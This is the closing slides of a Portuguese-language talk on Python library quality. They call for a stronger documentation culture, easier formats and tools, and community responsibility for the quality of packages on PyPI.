  • 51. Assim como recentemente melhoramos nossa cultura de testes. Precisamos agora melhorar nossa cultura de documentação!
  • 52. Q: Por que a maioria das bibliotecas não tem boa documentação? A: Escrever documentação é um processo chato! Q: O que precisa melhorar? A: Ferramentas e formatos (rst) não amigaveis afastam as pessoas da documentação. Precisamos fazer como fizemos com os testes e adotar formatos (md?) e ferramentas mais fáceis. Q: Como incentivar as pessoas a contribuir com documentação? A: Primeiro precisamos definir o processo (assim como nos testes) e então criar um manifesto atraindo os contribuidores, mostrando a importância, oferecendo um certo “status” ao documentador e usar os eventos para fomentar essa cultura.
  • 53. Dicas para criar boas libs python.apichecklist.com
  • 54. Conclusão - Python não é um produto! - O ecossistema (principalmente a comunidade) já tem qualidade acima da média - Precisamos de mais materiais teóricos de qualidade para iniciantes - Podemos utilizar ferramentas para ajudar no QA de bibliotecas Python - Podemos colaborar com a evolução do PyPI - Podemos colaborar com a evolução do Python - A qualidade do ecossistema é NOSSA responsabilidade - Seja responsável e publique apenas bibliotecas de qualidade no PyPI - Precisamos de uma solução colaborativa para classificar 100 mil libs - Ajude e seja ajudado

Notes de l'éditeur

  1. Deprecate wargings...